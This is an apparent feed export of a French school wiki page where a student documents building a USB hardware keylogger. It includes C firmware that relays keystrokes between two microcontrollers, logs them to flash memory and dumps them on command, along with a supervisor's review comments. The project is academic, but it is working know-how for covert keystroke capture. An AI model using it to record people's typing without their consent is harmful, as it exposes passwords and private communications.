Et pour la réception :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
if (Serial_IsCharReceived())&lt;br /&gt;
{&lt;br /&gt;
    uint8_t Modifier = Serial_ReceiveByte();&lt;br /&gt;
    while(!Serial_IsCharReceived());&lt;br /&gt;
    uint8_t KeyCode1 = Serial_ReceiveByte();&lt;br /&gt;
    while(!Serial_IsCharReceived());&lt;br /&gt;
    ...&lt;br /&gt;
    uint8_t KeyCode5 = Serial_ReceiveByte();&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Donc il n'y a plus de boucle qui vérifie le code 0xFF. On n'utilise seulement les fonctions fournit par LUFA maintenant.&lt;br /&gt;
&lt;br /&gt;
De plus, j'ai ajouté les 5 autres KeyCode qui pourrait être renseignés via le rapport clavier sur l'AT90.&lt;br /&gt;
&lt;br /&gt;
On peut voir ci-dessous la nouvelle fonction de création et d'envoi de rapport clavier de l'AT90. Tout d'abord, on enregistre tout les codes à envoyé dans un tableau de 7 octets. Ainsi on a juste à utiliser la fonction &amp;lt;code&amp;gt;Serial_SendData&amp;lt;/code&amp;gt; pour envoyer en une fois tout les codes. Ensuite on vérifie si on doit passer à la page suivante dans la flash ou non, et puis on vérifie si on doit enregistrer ou non le buffer de la flash dans la mémoire, pour finir par remplir le buffer de la flash.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
/* Serial communication */&lt;br /&gt;
uint8_t Data_to_Send[CODES_PACKET_SIZE];&lt;br /&gt;
&lt;br /&gt;
Data_to_Send[0] = KeyboardReport.Modifier;&lt;br /&gt;
Data_to_Send[1] = KeyboardReport.KeyCode[0];&lt;br /&gt;
Data_to_Send[2] = KeyboardReport.KeyCode[1];&lt;br /&gt;
Data_to_Send[3] = KeyboardReport.KeyCode[2];&lt;br /&gt;
Data_to_Send[4] = KeyboardReport.KeyCode[3];&lt;br /&gt;
Data_to_Send[5] = KeyboardReport.KeyCode[4];&lt;br /&gt;
Data_to_Send[6] = KeyboardReport.KeyCode[5];&lt;br /&gt;
&lt;br /&gt;
while(!Serial_IsSendReady());&lt;br /&gt;
Serial_SendData(Data_to_Send, CODES_PACKET_SIZE);&lt;br /&gt;
while(!Serial_IsSendComplete());&lt;br /&gt;
_delay_ms(10);&lt;br /&gt;
&lt;br /&gt;
/* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
if (*page_buffer_size == (FLASH_PAGE_INDEX_MAX+1)) {&lt;br /&gt;
	 *page_buffer_size = 0;&lt;br /&gt;
	(*page_actual)++;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/* AT45DB641E communication */&lt;br /&gt;
/* Checking if the flash buffer is full */&lt;br /&gt;
if (*flash_buffer_i == FLASH_BUFFER_SIZE) {&lt;br /&gt;
	/* Recup of the data of the actual page to re-write on */&lt;br /&gt;
	uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
	if (*page_buffer_size != 0)&lt;br /&gt;
		AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
	memcpy(&amp;amp;(data[*page_buffer_size]), flash_buffer, FLASH_BUFFER_SIZE);&lt;br /&gt;
&lt;br /&gt;
	/* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
	AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
	/* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
	AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
&lt;br /&gt;
	/* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
	while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
		LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
	}&lt;br /&gt;
	LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
&lt;br /&gt;
	memset(flash_buffer, 0, FLASH_BUFFER_SIZE);&lt;br /&gt;
	*page_buffer_size += FLASH_BUFFER_SIZE;&lt;br /&gt;
	*flash_buffer_i = 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/* Writing the Modifier and Keycodes in the flash_buffer */&lt;br /&gt;
for (int i = 0; i &amp;lt; CODES_PACKET_SIZE; i++) flash_buffer[(*flash_buffer_i)++] = Data_to_Send[i];&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Le test &amp;lt;code&amp;gt;(*flash_buffer_i == FLASH_BUFFER_SIZE)&amp;lt;/code&amp;gt; est joueur. Ca passe parce que tu as des paquets de 7 octets pour une taille de bloc de 63 octets. Mais si quelqu'un veut agrandir la taille du bloc ça peut faire mal. Mets une constante pour la taille des paquets (7) et défini la taille de bloc comme un multiple de la taille des paquets :&lt;br /&gt;
 #define CODES_PACKET_SIZE 7&lt;br /&gt;
 #define FLASH_BUFFER_SIZE (9*CODES_PACKET_SIZE)&lt;br /&gt;
&lt;br /&gt;
Benjamin : Pas de soucis, j'en ai profité aussi pour modifier les autres variables concernant le parcourt du buffer de la flash, comme la taille des valeurs à envoyer, la condition dans les boucles et la longueur à copier que l'on renseigne dans la fonction &amp;lt;code&amp;gt;memcpy&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Concernant l'envoi des touches mémorisés qui se trouvent dans la fonction &amp;lt;code&amp;gt;Flash_Task&amp;lt;/code&amp;gt; :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(int *page_actual, int *page_buffer_size, uint8_t *flash_buffer, int *flash_buffer_i)&lt;br /&gt;
{&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t Command_Byte = Serial_ReceiveByte();&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_RESET)&lt;br /&gt;
		{&lt;br /&gt;
			*page_actual 			= 0;&lt;br /&gt;
			*page_buffer_size = 0;&lt;br /&gt;
			memset(flash_buffer, 0, FLASH_BUFFER_SIZE);&lt;br /&gt;
			*flash_buffer_i = 0;&lt;br /&gt;
			AT45DB641E_cmd(&amp;amp;SPI_PORT, SPI_SS, 0xC7, NULL, 0);&lt;br /&gt;
			AT45DB641E_cmd(&amp;amp;SPI_PORT, SPI_SS, 0x94, NULL, 0);&lt;br /&gt;
			AT45DB641E_cmd(&amp;amp;SPI_PORT, SPI_SS, 0x80, NULL, 0);&lt;br /&gt;
			AT45DB641E_cmd(&amp;amp;SPI_PORT, SPI_SS, 0x9A, NULL, 0);&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_GET)&lt;br /&gt;
		{&lt;br /&gt;
			int address, byte;&lt;br /&gt;
			uint8_t Data_to_Send[CODES_PACKET_SIZE];&lt;br /&gt;
			for (address = 0; address &amp;lt;= (*page_actual); address++)&lt;br /&gt;
			{&lt;br /&gt;
				uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
				AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
				for (byte = 0; byte &amp;lt; (address == (*page_actual) ? *page_buffer_size : FLASH_PAGE_INDEX_MAX+1); byte += CODES_PACKET_SIZE)&lt;br /&gt;
				{&lt;br /&gt;
					memcpy(Data_to_Send, &amp;amp;(data[byte]), CODES_PACKET_SIZE);&lt;br /&gt;
&lt;br /&gt;
					while (!Serial_IsSendReady());&lt;br /&gt;
					Serial_SendData(Data_to_Send, CODES_PACKET_SIZE);&lt;br /&gt;
					while (!Serial_IsSendComplete());&lt;br /&gt;
					_delay_ms(10);&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
			for (byte = 0; byte &amp;lt; (*flash_buffer_i); byte += CODES_PACKET_SIZE)&lt;br /&gt;
			{&lt;br /&gt;
				memcpy(Data_to_Send, &amp;amp;(flash_buffer[byte]), CODES_PACKET_SIZE);&lt;br /&gt;
&lt;br /&gt;
				while (!Serial_IsSendReady());&lt;br /&gt;
				Serial_SendData(Data_to_Send, CODES_PACKET_SIZE);&lt;br /&gt;
				while (!Serial_IsSendComplete());&lt;br /&gt;
				_delay_ms(10);&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Si l'octet de commande est celui du reset de la mémoire, on remet à zéro tout les indices concernant la mémoire et le buffer de la flash. Puis on appelle une commande de la flash qui consiste à réinitialiser toute la puce.&lt;br /&gt;
&lt;br /&gt;
Lorsque la commande est celui de la récupération de la mémoire, on lit et envoie toutes les données des pages mémoires dans la flash, puis on envoie aussi les données qui se trouve potentiellement dans le buffer de la flash.&lt;br /&gt;
&lt;br /&gt;
Au final, dans le programme de l'AT90, on se retrouve avec deux nouvelles variables &amp;lt;code&amp;gt;flash_buffer&amp;lt;/code&amp;gt; qui est le tableau de taille 63 (capable de stocker 9 entrées du clavier) et &amp;lt;code&amp;gt;flash_buffer_i&amp;lt;/code&amp;gt; qui nous permet de suivre l'évolution du remplissage du buffer. De plus, on peut voir l'ajout d'un délai de 10 millisecondes qui permet d'espacer chaque envoie en plus de la fonction &amp;lt;code&amp;gt;Serial_IsSendComplete&amp;lt;/code&amp;gt; afin de ne pas avoir un caractère qui saute à la réception.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Concernant le programme de l'ATMEGA, pas grand chose n'a changé si ce n'est la façon de recevoir les octets de données des touches tapés :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		ReportData-&amp;gt;Modifier = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[1] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[2] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[3] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[4] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[5] = Serial_ReceiveByte();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On attend à partir de la fonction &amp;lt;code&amp;gt;Serial_IsCharReceived&amp;lt;/code&amp;gt; qu'un octet soit sur le flux de la liaison série. Puis on récupère l'octet via la fonction &amp;lt;code&amp;gt;Serial_ReceiveByte&amp;lt;/code&amp;gt;. Assez simple finalement ! = )&lt;br /&gt;
[[Fichier:Keylogger schéma connexion uP.png|vignette|504x504px|Schéma décrivant les connexions des broches entre les microcontrôleurs]]&lt;br /&gt;
&lt;br /&gt;
= Documents Rendus =&lt;br /&gt;
[[:Fichier:Keyboard-Device-Atmega (Semaine 1).zip#file]]&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans la fonction &amp;lt;code&amp;gt;LEDs_ToggleLEDs&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans le &amp;lt;code&amp;gt;makefile&amp;lt;/code&amp;gt;, la fréquence de lu quartz externe est de 8Mhz. Mettre le code ci-dessous en début de fonction &amp;lt;code&amp;gt;main&amp;lt;/code&amp;gt; :&lt;br /&gt;
 CLKSEL0 = 0b00010101;   // sélection de l'horloge externe &amp;lt;ref name=&amp;quot;:0&amp;quot; group=&amp;quot;Code associé&amp;quot; /&amp;gt;&lt;br /&gt;
 CLKSEL1 = 0b00001111;   // minimum de 8Mhz&lt;br /&gt;
 CLKPR = 0b10000000;     // modification du diviseur d'horloge (CLKPCE=1)&lt;br /&gt;
 CLKPR = 0;              // 0 pour pas de diviseur (diviseur de 1)&lt;br /&gt;
Tests AT45DB641E : [[:Fichier:TestMem CMD WR.zip|Fichiers de test mémoire]]&lt;br /&gt;
&lt;br /&gt;
Tests AT90USB647 : [[:Fichier:KeyboardHost.zip|Fichiers KerboardHost]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Fichiers Keylogger : [[:Fichier:Keylogger.zip|Fichiers Keylogger]] | [[:Fichier:Keyboard to PC.zip|Fichiers Keylogger sans la mémoire]] | [[:Fichier:Keylogger Serial Testing.zip|Fichiers d'expérimentation pour la liaison série]]&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références vidéo&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références image&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references group=&amp;quot;Image&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références code&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references group=&amp;quot;Code associé&amp;quot; /&amp;gt;&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=847</id>
		<title>SE4 2022/2023 EC5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=847"/>
		<updated>2023-08-15T07:40:26Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : /* Modification du Keylogger */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Objectifs =&lt;br /&gt;
&lt;br /&gt;
Il vous est demandé de : &lt;br /&gt;
* réaliser un keylogger en partant d'un prototype réalisé par un élève des années précédentes, ce prototype comporte :&lt;br /&gt;
** un microcontrôleur AT90USB647 pour pouvoir utiliser un projet LUFA en mode hôte,&lt;br /&gt;
** un microcontrôleur ATMega16u2 pour pouvoir utiliser un projet LUFA en mode périphérique,&lt;br /&gt;
** une mémoire flash pour pouvoir sauver les touches capturées ;&lt;br /&gt;
* commencez par écrire un programme, basé sur la démonstration LUFA bas-niveau Keyboard pour vérifier que la partie ATMega16u2 de la carte fonctionne ;&lt;br /&gt;
* poursuivez en vérifiant que vous avez accès, à partir de l'AT90USB647 à la carte mémoire AT45DB641E, vous pouvez vous baser sur le code des PeiP ;&lt;br /&gt;
* vous pourrez alors tester la démonstration LUFA hôte bas-niveau KeyboardHost ;&lt;br /&gt;
* enfin terminez en récupérant les symboles lus par l'AT90USB647 sur le clavier USB pour les transmettre par UART à l'ATMega16u2 puis au PC ;&lt;br /&gt;
* il reste à stocker les symboles au passage dans la mémoire flash et à prévoir une interface particulière sur l'ATMega16u2 pour récupérer les informations.&lt;br /&gt;
&lt;br /&gt;
= Matériel nécessaire =&lt;br /&gt;
&lt;br /&gt;
Vous avez besoin du prototype de la carte keylogger et d'un Arduino configuré en programmateur AVR ISP.&lt;br /&gt;
&lt;br /&gt;
[[file:2023-keylogger-schema.png|thumb|400px|left|Schéma électronique]]&lt;br /&gt;
[[file:2023-keylogger-pcb.png|thumb|400px|right|Routage]]&lt;br /&gt;
&lt;br /&gt;
Le schéma électronique et le routage de cette carte sont donnés dans les figures ci-contre.&lt;br /&gt;
&lt;br /&gt;
Le [[file:2023-keylogger-fritzing.zip]] fichier Fritzing de la carte est disponible (à renommer en &amp;lt;code&amp;gt;.fzz&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Le dernier projet sur ce sujet est disponible sur l'ancien Wiki [https://wiki-ima.plil.fr/mediawiki//index.php/IMA4_2020/2021_EC2].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;clear: both;&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Travail réalisé =&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 1&amp;lt;/u&amp;gt; ===&lt;br /&gt;
En premier temps, je me suis intéressé au fonctionnement, aux outils et librairie nécessaire au fonctionnement de la librairie LUFA.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de comprendre comment créer un projet LUFA grâce aux démos, d'installer les programmes tel que dfu-programmer et avr-gcc.&lt;br /&gt;
&lt;br /&gt;
Cependant, n'ayant pas de PC natif linux, j'ai d'abord essayer avec Windows Sous Linux (qui est la solution que j'ai utilisé tout au long de l'année) mais je n'arrivais pas à apercevoir le périphérique USB de la carte Atmega16u2, j'ai donc essayé d'installer et utiliser une VM Linux et j'ai pu lier le périphérique DFU Bootloader de l'Atmega vers la VM afin de téléverser le programme de démo device : Keyboard.&lt;br /&gt;
[[Fichier:Capture d'écran Ouverture Fritzing.png|vignette]]&lt;br /&gt;
J'ai essayé d'ouvrir le fichier schématique de la carte électronique qui fonctionne très bien, mis à part trois fichier/modèle manquant dans l'archive comme les boutons reset et l'AT90. Ainsi, j'ai pu déterminer où été branché les leds à l'Atmega afin de configurer le programme de démo LUFA. &lt;br /&gt;
&lt;br /&gt;
J'ai réussi à téléverser un programme et à contrôler les leds de la carte électronique du côté de l'Atmega, mais je pense qu'il doit toujours y avoir des erreurs dans la configuration du programme. En effet, lorsque je regarde la description du périphérique USB de l'Atmega, j'observe qu'il n'y a pas d'Endpoint présent dans la description.&lt;br /&gt;
&lt;br /&gt;
Enfin, je n'arrivais pas à récupérer une fonction de délai afin de faire clignoter les leds, donc j'ai essayé d'implémenter les boutons de la carte électronique qui fonctionne bel et bien, plus qu'à regarder la vidéo pour voir le code à l'action !&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Vidéo :&amp;lt;/u&amp;gt;  [[:Fichier:EC5-Semaine1.mp4]]&amp;lt;ref&amp;gt;Vidéo rapport semaine 1&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Impossible de voir quelle erreur tu as fait pour les LED : pas de code dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La vidéo n'existe plus merci de la télécharger dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La fonction de délai est &amp;lt;code&amp;gt;_delay_ms&amp;lt;/code&amp;gt;, le fichier d'inclusion nécessaire est &amp;lt;code&amp;gt;util/delay.h&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 2&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
L'erreur apparaît car la fonctionnalité USB côté Atmega16u2 n'est pas implémenter/implémentable.&lt;br /&gt;
&lt;br /&gt;
ReX : Cette phrase n'a pas de sens l'ATMega16u2 est bien doté d'une implantation USB matérielle. A la livraison du matériel j'ai aussi montré le bon fonctionnement du mode DFU/USB et la façon d'y faire entre le microcontrôleur.&lt;br /&gt;
&lt;br /&gt;
ReX : Au vu des erreurs dans le projet LUFA je crois comprendre ce que vous voulez dire c'est que vos erreurs dans le projets LUFA font que la fonctionnalité USB de ce projet est défaillante. Corrigez, testez à nouveau ...&lt;br /&gt;
[[Fichier:Image.png|vignette]]&lt;br /&gt;
Benjamin : Après avoir corriger le code pour le 16u2, j'ai essayé d'implémenter un code pour l'USB647, mais lorsque je regarde dans mes périphériques, mon ordinateur ne reconnaît pas ... J'ai essayé de voir dans les travaux déjà réalisé et ai trouvé qu'il y'avait une manière particulière de bootloader le micro contrôleur (à la même manière qu'avec le 16u2) &amp;lt;ref group=&amp;quot;Image&amp;quot;&amp;gt;[[:Fichier:Keyboard problem2.jpg]]&amp;lt;/ref&amp;gt;, mais le périphérique reste inconnu pour ma machine.&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai réussi à trouver le périphérique en téléchargeant le logiciel [https://www.microchip.com/en-us/development-tool/flip FLIP] et en suivant cette vidéo (&amp;lt;nowiki&amp;gt;https://youtu.be/Vd0F0XHzchY&amp;lt;/nowiki&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
ReX : Tu tentes de faire le projet sous windows ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, j'utilise une VM Linux pour faire le projet, mais je n'ai que des machines Windows chez moi et impossible de Dual Boot mon PC.&lt;br /&gt;
&lt;br /&gt;
ReX ; Dans ce cas tu peux affecter le périphèrique USB en mode DFU à la machine virtuelle et téléverser avec &amp;lt;code&amp;gt;dfu-programmer&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Une preuve du fonctionnement pour l'ATMega16u2 ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, il n'y a pas de preuve du fonctionnement de l'ATMega16u2 concernant la partie USB, néanmoins de part la consigne de la première étape qui m'a été donné ci-dessus, il est question de vérifier le fonctionnement du microcontrôleur et donc de savoir si il est aussi possible de téléverser un programme sur celui-ci. On peut donc voir par la vidéo fourni la semaine dernière que le microcontrôleur fonctionne correctement, sans pour autant avoir la partie USB fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
Cependant, en téléversant la démo fourni par LUFA, on voit que l'ATMega16u2 prend le contrôle de mon clavier [[:Fichier:Video-atmega16u2-usb.mp4|(voir vidéo)]]&amp;lt;ref&amp;gt;[[:Fichier:Video-atmega16u2-usb.mp4|Video-atmega16u2-usb]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu je te vois taper sur ton clavier ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai essayé de voir pour résoudre le problème concernant la connexion à l'USB647, mais je n'ai toujours pas de solution. J'essaie de voir pour emprunter une machine à un ami qui soit sous booté sous Linux afin de voir si le problème vient du système d'exploitation.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu, alors 1) faire SE sans machine Linux c'est quand même un problème 2) au pire démarre un Linux live sur une clef USB. Tu vas quand même pas t'arrêter sur ce genre de détail !&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 3&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Benjamin : J'ai booté un ancien PC avec une distribution Linux et j'arrive enfin à utiliser l'AT90USB647. J'ai alors configuré le code réalisé par les PeiP en renseignant les bonnes informations à propos de la Flash et des Leds. Cependant, en téléversant mon programme, les leds ne s'allume pas, j'ai essayé de regarder si la tension était bonne aux broches des Leds (Broches F5 et F6) et il semble que la tension délivré soit la basse impédance. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Fichier :&amp;lt;/u&amp;gt; [[:Fichier:MassStoragePeiP.zip|Archive Code_AT90USB]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Question :&amp;lt;/u&amp;gt; Y'a t'il des choses à configurer correctement afin d'utiliser l'AT90USB ? Car dans l'état, je ne peux pas savoir si tout fonctionne sans témoin visuel. &lt;br /&gt;
&lt;br /&gt;
Update : Tout fonctionne concernant l'AT90USB647, les LEDS avaient été soudées à l'envers.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 4&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Pendant cette semaine, j'ai essayé de mettre en place les deux démos de la librairie LUFA : MassStorage et KeyboardHost, énoncés dans les tâches à effectuer ci-dessus.&lt;br /&gt;
&lt;br /&gt;
ReX : J'ai beau chercher je vois pas où j'ai demandé de tester MassStorage sur l'AT90USB, dans mon esprit c'était les programmes de test de la mémoire qui peuvent se trouver sur le site des BE SE PeiP.&lt;br /&gt;
&lt;br /&gt;
Benjamin : Je pense que je suis parti sur MassStorage car en fouillant sur le [https://peip-ima.plil.fr/mediawiki/index.php/BE_2022-2023 wiki] j'avais trouvé ce [https://peip-ima.plil.fr/mediawiki/images/6/6b/MassStoragePeiP.zip fichier], alors que vous faisiez référence à ce [https://peip-ima.plil.fr/mediawiki/index.php/Binome2019-2 projet].&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;MassStorage :&amp;lt;/u&amp;gt;'' J'ai repris le code [[:Fichier:MassStoragePeiP.zip|MassStoragePeiP]] et ai adapté les broches de leds aux broches PD2 et PD3 qui pouvait être récupérer via des broches mâles afin de faire clignoter des leds sur une board externe, en attendant de résoudre le problème des leds souder à l'envers.&lt;br /&gt;
&lt;br /&gt;
ReX : Alors 1) ce code ne fait aucun test sur la mémoire, voir les tests TestMem, TestMemRW et TestMemRW2 comme indiqué par courriel 2) les LEDs ne marcheront pas correctement tant que l'AT90USB n'aura pas été lancé sur l'horloge interne et tant que le JTAG n'aura pas été désactivé, voir le programme Blink envoyé par courriel.&lt;br /&gt;
&lt;br /&gt;
Je pense que tout est bien configuré et tout fonctionne concernant la liaison entre l'AT90 et l'AT45 car les clignotements de leds entre chaque tâche d'appel est présent ce qui indiquerait un bon fonctionnement.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu non pratiquement rien n'est correctement configuré (voir remarque précédente), de plus je ne vois où tu es sensé avoir vérifié quelque chose via les LED, le fait que tu n'indiques pas les modifications apportées en ce sens n'aide pas. Par contre l'idée d'utiliser des LED externes sur plaque d'essai est une bonne idée en attendant de réparer la carte fournie.&lt;br /&gt;
&lt;br /&gt;
'''''Update :''''' Après en avoir discuté avec ReX par mail, l'utilisation de la démo MassStorage pour tester la flash était overkill, il m'a donc donné un programme pour tester la mémoire (que l'on retrouve sur le wiki des PeiP : [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip lien]).&lt;br /&gt;
&lt;br /&gt;
ReX : Oui :)&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;KeyboardHost :&amp;lt;/u&amp;gt;'' J'ai repris la démo de la librairie LUFA que je n'ai pas beaucoup modifié pour pouvoir l'utiliser, et tout semble bien fonctionner après le téléversement du programme.&lt;br /&gt;
&lt;br /&gt;
ReX : Oui mais ça aiderait d'avoir le projet pour vérifier si le JTAG est bien désactivé, si le microcontrôleur est bien lancé sur l'horloge externe, etc.&lt;br /&gt;
&lt;br /&gt;
Cependant, puisque les seuls leds que j'ai pour l'instant à ma disposition occupe les broches pour la communication UART (liaison série), je n'arrivais pas à comprendre pourquoi je n'avais pas le comportement que j'avais essayé d'avoir via le programme (clignotement de led dans certains cas et autre), avant de comprendre que les signaux que les leds recevait était la communication UART.&lt;br /&gt;
&lt;br /&gt;
ReX : Le port série est effectivement utilisé dans la démonstration LUFA pour afficher quelques touches, il faudrait plutôt que tu changes l'état de tes 2 LED si des touches bien précises sont appuyées, avec 2 LED, tu peux tester 4 touches c'est déjà ça.&lt;br /&gt;
&lt;br /&gt;
Mis à part ça, j'ai connecté un clavier via le port USB de la carte et j'observe que le clavier est bien lié à l'ordinateur qui alimente la carte électronique. Le microcontrôleur agît bien comme un clavier hôte.&lt;br /&gt;
&lt;br /&gt;
ReX : Je ne comprend pas là, il est impossible que le clavier soit reconnu si tu connectes l'ATMega16u2 à ton PC, tout ce qu'il va voir c'est la démonstration LUFA que tu as chargé dans l'ATMega16u2, rien à voir.&lt;br /&gt;
&lt;br /&gt;
Benjamin : C'est l'AT90USB qui est connecté à mon PC, pour l'instant je n'ai plus touché à l'Atmega depuis. J'ai donc téléverser la démo et je peux interagir sur mon PC avec le clavier brancher sur la carte, mais après réflexion je me demande si c'est vraiment grâce au programme que je peux faire ca. Est-ce que ce serait pas parce qu'il y'a une connexion entre l'USB-B du clavier et l'USB-DFU que le clavier arrive à communiquer avec mon PC ?&lt;br /&gt;
&lt;br /&gt;
ReX : Tu utilises à la fois le connecteur USB A femelle et le connecteur micro USB du coté de l'AT90USB ? Si c'est le cas ça va faire des étincelles : tu connectes un périphérique USB à DEUX contrôleurs USB, ça ne peut pas bien se passer ...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;J'ai essayé de mettre en place une interface afin de voir les caractères tapés et transmis par la liaison série. On retrouve donc un Arduino et un écran LCD qui est censé montrer la touche tapé. Mais lorsque j'ai essayé de lié l'Arduino avec l'AT90USB, je n'arrivais pas à recevoir les touches tapés sur mon clavier (je pense que dans le programme du microcontrôleur, il ne comprend pas quelle touche est tapé) et me retrouver sans caractère. J'ai donc essayé en envoyant en boucle une lettre précise comme ci-dessous :&amp;lt;/s&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de pouvoir observer les touches tapés sur le clavier, j'ai mis en place un Arduino et un écran LCD. Il y'aurait donc une liaison entre l'Arduino et l'AT90 via UART afin de récupérer l'information sur la touche tapée.&lt;br /&gt;
&lt;br /&gt;
